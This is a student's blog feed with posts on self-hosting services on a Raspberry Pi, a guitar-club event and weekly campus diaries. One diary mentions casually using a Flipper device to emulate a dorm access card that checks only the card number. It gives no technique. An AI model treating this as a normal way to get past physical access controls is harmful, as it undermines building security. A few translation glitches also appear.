&lt;h3 id=&quot;how-to-get-started-with-raspberry-pi&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#how-to-get-started-with-raspberry-pi&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;How to Get Started with Raspberry Pi&lt;/h3&gt;
&lt;p&gt;When you first get a Raspberry Pi, you need storage to hold its OS. I used a microSD card. Then go to &lt;a href=&quot;https://www.raspberrypi.com/software/&quot;&gt;their official website&lt;/a&gt;, download the image based on your host OS. While installing, you can eat, watch shows, or play games—it takes about an hour, &lt;del&gt;though it might be my card’s read/write speed&lt;/del&gt;. Next, you face a big problem: &lt;strong&gt;Pi5 only supports microHDMI. Without that cable, it’s a pain.&lt;/strong&gt; I simply connected via SSH, but the machine just booted and I don’t know its IP. Even using &lt;code&gt;ip nei&lt;/code&gt;, I’d still have to try every device on my network. After connecting, I used the CLI to enable VNC server. If I had that cable, I could’ve saved two hours.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;what-did-i-host&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#what-did-i-host&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;What Did I Host?&lt;/h2&gt;
&lt;h3 id=&quot;affine&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#affine&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;AFFiNE&lt;/h3&gt;
&lt;p&gt;This was the first server I set up. It’s a feature-rich note-taking software—open source and free. What I use it for includes markdown, LaTeX, even Miro ( whiteboard), which looks similar to iOS’s version. Plus it works on all platforms—there’s an app and web version. It can sync data across all devices, making it very convenient for reading.
&lt;img src=&quot;https://img.windson.cc/images/2025/10/raspi-localhost/affine.webp&quot; alt=&quot;Affine&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;syncthing&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#syncthing&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Syncthing&lt;/h3&gt;
&lt;p&gt;Syncthing does exactly what its name suggests—syncs files. Because the setup and installation are a bit tricky, it’s better to use it yourself. Mainly, having this means I can sync files to the server without dumping things on big platforms and being limited by file sizes. But without proper security measures, exposing it to the external network is dangerous. It has a login interface, but I don’t know how to use it, so I use internal network penetration instead.
&lt;img src=&quot;https://img.windson.cc/images/2025/10/raspi-localhost/sync.webp&quot; alt=&quot;Syncthing&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;immich&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#immich&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Immich&lt;/h3&gt;
&lt;p&gt;It’s an open-source cloud photo album service, looking very similar to Google Photos. The advantage of self-hosting is not having to put my album on Google or iCloud, being limited by storage and paying them. Self-hosted means unlimited storage, depending on how big a hard drive you buy. But during setup, because of insufficient power supply, the HDD’s motor couldn’t run, so the hard drive’s super block got corrupted. So don’t use an HDD under voltage conditions—the data will get corrupted and you can only recover part of it. Power supply needs to be at least 20 watts (I’m currently using 20 watts, hasn’t failed yet)
&lt;img src=&quot;https://img.windson.cc/images/2025/10/raspi-localhost/immich.webp&quot; alt=&quot;immich&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;docker&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#docker&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Docker&lt;/h2&gt;
&lt;p&gt;This is a powerful container, but right now I only know how to use it—I haven’t learned anything advanced yet, so I can’t write much about it. All the services above are running on it.　　&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;cloudflare-tunnel&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#cloudflare-tunnel&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Cloudflare Tunnel&lt;/h2&gt;
&lt;p&gt;This is how I expose services to the external network. Create a tunnel to Cloudflare, write config files locally to route, then set up DNS in the Cloudflare dashboard. But the prerequisite is having your own domain—if not, use internal network penetration instead.&lt;/p&gt;</content:encoded></item><item><title>New Members Event Can&apos;t Accomplish Big Things</title><link>https://www.windson.cc/en/posts/longred-newcoming/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/longred-newcoming/</guid><description>This is an activity from the guitar club. Finished it with such a sense of accomplishment! Preparations Honestly, I hardly did anything because our art and design senior took care of everything. This </description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This is an activity from the guitar club. Finished it with such a sense of accomplishment!&lt;/em&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;preparations&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#preparations&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Preparations&lt;/h2&gt;
&lt;p&gt;Honestly, I hardly did anything because our art and design senior took care of everything. This time I could just lie down—I’m not good at designing things, and I know nothing about digital drawing either. So I could only be the errand runner: buying materials, printing name tags, setting up the canopy. I memorized the school’s unified business number from all the shopping trips. We mainly went to Nchu Bookstore and Xingwen Bookstore—the paper colors at both stores were different. To find the right colors, I来回跑了好几趟。After all that careful selection, the art skills weren’t up to par, so in the end it was: &lt;em&gt;“They probably can’t tell, right? Won’t be discovered!”&lt;/em&gt; This time the name tags turned out great, &lt;del&gt;although two people filled out the form too late and their colors were different from everyone else&lt;/del&gt;. The lamination cost was way cheaper than I imagined—like, way way cheaper. So why doesn’t camp use printing instead of making everyone serve time together…&lt;/p&gt;
&lt;p&gt;We originally planned three songs&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, but &lt;strong&gt;the camp’s loading was just too much&lt;/strong&gt;, so we had to cut them… in the end only played “Lovers,” and we’ll definitely make up the rest next time. The broken chords in “Lovers” are super hard to play. At first, practicing left my hands sore—they’re all bar chords. The tab I played mainly references &lt;a href=&quot;https://www.youtube.com/watch?v=Q7WOF-nkwq0&quot;&gt;Bruno Fries and the Iron Man Teach You to Play&lt;/a&gt;, though some parts were modified. Modifying their tab is faster than starting from scratch. If I have time, I’ll transcribe the tab I’m playing.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;new-members-event&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#new-members-event&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;New Members Event&lt;/h2&gt;
&lt;p&gt;The number of people who showed up shocked me—we ended up even spilling to the door. It looked like there were fifty or sixty people, almost double the amount at the guitar week event. First time performing in front of so many people—kind of nervous.&lt;/p&gt;
&lt;p&gt;This time I was the snack manager at the snack cabinet, mainly responsible for distributing snacks. Simply put, I played the OS role. The purpose of an OS is to be Easy to use and Efficient to run, but our hardware only had two CPUs&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;, so there were limits. During intermission, the audience launched a DDoS attack&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; on us. Because the hardware buffer&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; was insufficient and the CPU clock was too long&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot; id=&quot;user-content-fnref-5&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;, we were Denial-of-Service’d in under a minute. The subsequent problem was that the ready queue still couldn’t be cleared, so they started chatting with us. This is when CPU time needed to be allocated—the same process can’t stay in there too long, so as to achieve a multi-user, multi-tasking environment.&lt;/p&gt;
&lt;p&gt;Above is me having learned too much Operating Systems. If you don’t understand, open the plain language version.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h3 id=&quot;lovers&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#lovers&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Lovers&lt;/h3&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My head was too low during my solo—I looked dumb.
{{&amp;#x3C; youtube id=“Q7WOF-nkwq0”&gt;}}&lt;/p&gt;
&lt;section data-footnotes=&quot;&quot; class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#footnote-label&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;Planet, What Does Love Look Like When It Grows, Lovers &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;only two people &lt;a href=&quot;#user-content-fnref-2&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt;Distributed Denial of Service attack, the goal is to overwhelm a target server, service, or network with abnormal traffic from multiple sources, exhausting its resources and ultimately causing website or service disruption. &lt;a href=&quot;#user-content-fnref-3&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-4&quot;&gt;
&lt;p&gt;inconsistent loading speeds causing overall speed reduction &lt;a href=&quot;#user-content-fnref-4&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 4&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-5&quot;&gt;
&lt;p&gt;loading too slowly &lt;a href=&quot;#user-content-fnref-5&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 5&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Weekly Diary | 25/09/29</title><link>https://www.windson.cc/en/posts/diary-2/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-2/</guid><description>Week four of the semester. My mental state is basically the same as finals week… Since the semester started, I’ve been leaving the dorm around 8am for class and coming back around 11pm-midnight. I’ve </description><pubDate>Mon, 29 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Week four of the semester. My mental state is basically the same as finals week…&lt;/p&gt;
&lt;p&gt;Since the semester started, I’ve been leaving the dorm around 8am for class and coming back around 11pm-midnight. I’ve been going to so many activities. Even though I’m super busy, I still need to jot things down or I’ll forget what I did.&lt;/p&gt;
&lt;h2 id=&quot;mens-dorm&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#mens-dorm&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Men’s Dorm&lt;/h2&gt;
&lt;p&gt;I’ve been living in the old men’s dorm for a month now, and it’s really different from Er-Cun. There’s only one street with a few places to eat nearby — &lt;del&gt;though Nanmen Road is about the same&lt;/del&gt;. But since I’m usually too busy to eat around there anyway, it doesn’t matter much. The access system here is pretty lax — the card reader just reads the card number, so I usually use my Flipper to get in and out. That’s something I couldn’t do at Er-Cun. I only noticed a few days ago that the main gate closes after 12:30am, so you can only use the side door by the security booth. Luckily, someone was coming out from inside at that moment, otherwise I’d have had to use my Flipper in front of the security guard. As for my room in Xin-Zhai — I picked it because a double room was cheaper than Er-Cun’s quadruple. But the school installed new air conditioning this semester, then immediately raised the price, so now it’s actually more expensive than Er-Cun. Feel like I got scammed. As for my roommate, &lt;del&gt;I still don’t know his name&lt;/del&gt; — just know he’s a senior from Mechanical Engineering year 4, knows how to build computers, and that’s about it. He’s always sleeping when I leave, and playing CS when I get back. The weird thing is, he never turns on the AC — whether it’s morning, noon, or afternoon, he only uses a fan. So I end up paying for the electricity myself.&lt;/p&gt;
&lt;h2 id=&quot;camp&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#camp&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Camp&lt;/h2&gt;
&lt;p&gt;By week four of camp training, I’ve pretty much numbbed out. Just hoping this ends soon. Because of this activity, I haven’t been able to read much — I mean the books I need to read for midterms, not my own books. Actually, so far besides Linear Algebra, everything’s just review stuff, nothing special. But since I took a lot of advanced courses this semester, I have a feeling there’s going to be too much to read. A lot of friends told me: &lt;em&gt;“Just drop a class!”&lt;/em&gt; But dropping would mess things up with my own people, so I’ll just pray time goes fast and this ends soon.&lt;/p&gt;
&lt;h2 id=&quot;guitar-club&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club&lt;/h2&gt;
&lt;p&gt;Still love this place, but after the performance in a few days, I need to pick the performance team. There’s no way I can do it this semester — if I take it, I’ll probably drop dead on the spot. These days I’ve been making name tags for everyone. That day, I was the only one at the club office punching holes and threading the lanyards. When I finished the holes and went to throw away the trash, I suddenly realized &lt;strong&gt;&lt;em&gt;I don’t know how to open the club office door!!!&lt;/em&gt;&lt;/strong&gt; There was no one else nearby, and I had to rush to camp. So I went to check the next door to see if I could get out — but by the time I walked over, I realized that door is also weird, you need a key just to exit. So I got trapped inside the club office. Eventually I did get out — basically played a room escape game.&lt;/p&gt;
&lt;h3 id=&quot;ad-time&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#ad-time&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;em&gt;Ad Time&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Actually, that’s not the official poster, but I like this one better.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-29/guitarpost.webp&quot; alt=&quot;guitar&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;3d-printing-micro-general-ed&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#3d-printing-micro-general-ed&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;3D Printing Micro-General Ed&lt;/h2&gt;
&lt;p&gt;This is a class I almost forgot to attend. If someone hadn’t reminded me, I would’ve 100% skipped. This course only lasts three weeks, and if things go well, you can get a 3D printing certification afterward �� pretty good value. We haven’t gotten to the printing stage yet, but the class gives you 2.5 hours of free machine time. As long as your model prints within 2.5 hours, you can take it home for free. Once you get the certification, you can print Flipper cases, Pi housings, or even keyboards and mice — print your own stuff.&lt;/p&gt;
&lt;h2 id=&quot;random-talk&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#random-talk&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Random Talk&lt;/h2&gt;
&lt;p&gt;Recently I’ve been thinking about switching phones, but everything’s locked into iOS — many apps I just log into with Apple ID. This is part of Apple’s scheme: &lt;strong&gt;You have to keep using their products.&lt;/strong&gt; From a marketing perspective, it’s super successful. But I’m a freebie user — YouTube Premium = Brave, even the OS is free. So obviously that doesn’t work for me. So I used Syncthing &amp;#x26; KeePass to move my passwords out of Apple and sync the password database. But Apple’s UI is really well done, so I’m going to make my desktop environment look like Apple’s. It’s an Android phone running Linux, so there’s always a way &lt;del&gt;. I’ll write another blog once it’s done.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;Also, I split my domain away from www, then redirected the root to it. This makes it easier to self-host services later — having your own stuff on your own server is more secure. I thought I could just use DNS to split the domain, but then I had to set up a Worker on the root to automatically redirect to &lt;a href=&quot;http://www&quot;&gt;www&lt;/a&gt;. It’s a bit abstract, but it works. Anyway, it’s all done now.&lt;/p&gt;
&lt;p&gt;Next I’m planning to take off from Thursday to Monday to rest up. Though “rest” probably means studying — I mentioned earlier that I have this feeling there’s too much to read. Things are moving slowly because of all the activities, or maybe I’m just not used to using Affine to organize, but mainly everything’s new. Starting from scratch is tiring.&lt;/p&gt;
&lt;p&gt;One last thought — our group of good friends, ever since sophomore year, everyone’s been busy with their own things. We used to hang out together every day, now we can’t even have a proper meal together once a week. &lt;strong&gt;&lt;em&gt;Camp needs to end!!!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title>Weekly Diary | 25/09/19</title><link>https://www.windson.cc/en/posts/diary-1/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-1/</guid><description>Sophomore year is too eventful. If I don’t write it down… I’ll definitely forget how exciting my life was. Southern Welcome Event The department holds a welcome event for new students before enrollmen</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Sophomore year is too eventful. If I don’t write it down… I’ll definitely forget how exciting my life was.&lt;/em&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;southern-welcome-event&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#southern-welcome-event&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Southern Welcome Event&lt;/h2&gt;
&lt;p&gt;The department holds a welcome event for new students before enrollment—North, Central, and South each have one. This year’s participation was low, &lt;del&gt;probably because everyone thought the phone calls were scams.&lt;/del&gt; Because of the lack of hands, the person in charge kept persuading me over dinner the night before. Plus I really wanted to surprise the two friends I hadn’t seen in a long time. After hesitating for a while, I finally paid for the ticket one minute before the booking deadline—a day trip to Tainan. To avoid being spotted, I hid at Shin Kong Mitsukoshi until the time came. At the meetup, the plan was a huge success: they: &lt;strong&gt;_ “What are you doing here!!!”_&lt;/strong&gt; The train fare was worth it. But in the end, we only took a photo at the station as a memento.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/diary-1.webp&quot; alt=&quot;train and HSR&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;eating-eating-eating&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#eating-eating-eating&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Eating Eating Eating&lt;/h2&gt;
&lt;p&gt;Before school started, I didn’t do much—just ate good food every day.&lt;/p&gt;
&lt;h3 id=&quot;yongxin-desserts&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#yongxin-desserts&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://www.google.com/maps/place/%E6%B0%B8%E5%BF%83%E7%94%9C%E5%93%81/@24.1302728,120.6839958,17z/data=!3m1!4b1!4m6!3m5!1s0x34693de82039eabb:0xd208938ef7905255!8m2!3d24.1302728!4d120.6839958!16s%2Fg%2F11x92d83nr?entry=ttu&amp;#x26;g_ep=EgoyMDI1MDkxNi4wIKXMDSoASAFQAw%3D%3D&quot;&gt;&lt;strong&gt;Yongxin Desserts&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This place is on Zhongxiao Night Market near Taichung Road. It’s a bit of a walk from the dorm. But if you’re going there for dinner followed by dessert, it works out. The ice is good and affordable—but remember to save stomach space, or you’ll get too full.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/fxn-2025-08-31-221733.781.webp&quot; alt=&quot;Yongxin Desserts&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;wool-waffle&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#wool-waffle&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://www.google.com/maps/place/wool%E9%AC%86%E9%A4%85/@24.1245556,120.6731083,18z/data=!4m10!1m2!2m1!1z6ayG6aSF!3m6!1s0x34693d0b701e9131:0xe1ce1b0d3fe1ea7c!8m2!3d24.1245556!4d120.6742026!15sCgbprIbppIVaCSIH6ayGIOmkhZIBCnJlc3RhdXJhbnSaAURDaTlEUVVsUlFVTnZaRU5vZEhsalJqbHZUMjFrYmxOc1RraFdWazU1WVRKU2FsVnNaRTVOVmpnd1dsVk9kbUZHUlJBQqoBRwoJL20vMDFkd3N6EAEqCyIH6ayGIOmkhShFMh4QASIaKvMbKb9B0V30roAokRhIJjGdXiOj2243clsyCxACIgfprIYg6aSF4AEA-gEECAAQJA!16s%2Fg%2F11m5_hc7p8?entry=ttu&amp;#x26;g_ep=EgoyMDI1MDkxNi4wIKXMDSoASAFQAw%3D%3D&quot;&gt;&lt;strong&gt;Wool Waffle&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This one is on the street opposite Nchu Road, &lt;del&gt;you need to discover a new continent before finding it&lt;/del&gt;. I ordered the Margherite—basically waffle with cheese on top. I’m not good at writing about food, don’t push me to write more—I just want to share nice food photos. Anyway, everything’s delicious (✪ω✪)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/fxn-2025-09-01-115911.391.webp&quot; alt=&quot;wool muffin&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;ko-jiro-curry-shop&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#ko-jiro-curry-shop&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://www.google.com/maps/place/%E5%B0%8F%E6%AC%A1%E7%94%B7%E5%92%96%E5%93%A9%E6%89%80-%E5%AF%A9%E8%A8%88%E5%BA%97/@24.1452211,120.6616097,17z/data=!3m1!4b1!4m6!3m5!1s0x34693d3b8835da69:0x85ebbe6774d00219!8m2!3d24.1452211!4d120.6616097!16s%2Fg%2F11sg7_xrdr?entry=ttu&amp;#x26;g_ep=EgoyMDI1MDkxNi4wIKXMDSoASAFQAw%3D%3D&quot;&gt;&lt;strong&gt;Ko-Jiro Curry Shop&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The one I ate is at the Shenji New Village. There’s another branch near Taichung Park. This is the best curry I’ve ever had. Though a bit pricey, it’s really good.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/fxn-2025-09-02-182233.405.webp&quot; alt=&quot;Curry&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;curry-soul-egg-kalihundan&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#curry-soul-egg-kalihundan&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://www.google.com/maps/place/%E5%92%96%E5%93%A9%E9%AD%82%E8%9B%8BKalihundan-%E8%88%88%E5%A4%A7%E5%BA%97/@24.1247562,120.6735437,17z/data=!3m1!4b1!4m6!3m5!1s0x34693da0a1bdb9bf:0xd03b59e0e41398a8!8m2!3d24.1247562!4d120.6742026!15sCgbprIbppIVaCSIH6ayGIOmkhZIBCnJlc3RhdXJhbnSaAURDaTlEUVVsUlFVTnZaRU5vZEhsalJqbHZUMjFrYmxOc1RraFdWazU1WVRKU2FsVnNaRTVOVmpnd1dsVk9kbUZHUlJBQqoBRwoJL20vMDFkd3N6EAEqCyIH6ayGIOmkhShFMh4QASIaKvMbKb9B0V30roAokRhIJjGdXiOj2243clsyCxACIgfprIYg6aSF4AEA-gEECAAQJA!16s%2Fg%2F11h22jdmw5?entry=ttu&amp;#x26;g_ep=EgoyMDI1MDkxNi4wIKXMDSoASAFQAw%3D%3D&quot;&gt;&lt;strong&gt;Curry Soul Egg Kalihundan&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In the alley on Nchu Road, &lt;strong&gt;unlimited rice refills!&lt;/strong&gt; At night it becomes a bar, but I’m a sophomore and haven’t been yet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/fxn-2025-09-08-193855.000.webp&quot; alt=&quot;Curry&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;bonnie-sugar-handmade-dessert-shop&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bonnie-sugar-handmade-dessert-shop&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://www.google.com/maps/place/bonniesugar%E6%89%8B%E4%BD%9C%E7%94%9C%E9%BB%9E%E5%B0%88%E9%96%80%E5%BA%97-%E6%9B%99%E5%85%89%E5%BA%97/@24.1346522,120.6635985,17z/data=!3m1!4b1!4m6!3m5!1s0x34693d920a3aab6d:0x8b34090082f8c746!8m2!3d24.1346522!4d120.6635985!16s%2Fg%2F11tf0yk2lz?entry=ttu&amp;#x26;g_ep=EgoyMDI1MDkxNi4wIKXMDSoASAFQAw%3D%3D&quot;&gt;&lt;strong&gt;Bonnie Sugar Handmade Dessert Shop&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;First time at a dessert shop, achievement unlocked! The food was delicious and great for photos, but the money flew away~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/cafe.webp&quot; alt=&quot;cafe&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;summer-camp&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#summer-camp&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Summer Camp&lt;/h2&gt;
&lt;p&gt;No spoilers for now, or I’ll ruin it. But I actually already wrote about it—just commented it out. Think you can see it by going to the repo? No, I’ve locked it~ Speaking seriously, camp takes 12 hours a week, half of it at night. You basically don’t get enough sleep and are exhausted to death. &lt;em&gt;Seriously, don’t be fooled into joining as staff&lt;/em&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;guitar-club&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club&lt;/h2&gt;
&lt;p&gt;The guitar club is preparing for new member recruitment lately—practicing songs, making the banner. So busy. But busy in a happy way. Though everyone doesn’t know each other that well yet, they’re all &lt;del&gt;quirky&lt;/del&gt; great to chat with. Need to give props to our art and design partner—super powered. Enough talk, here’s the banner!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/guitar.webp&quot; alt=&quot;guitar&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New Member Event: 10/1 (Wed)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Location: NCHU Auditorium&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Come watch me play solo!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;magical-research&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#magical-research&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Magical Research&lt;/h2&gt;
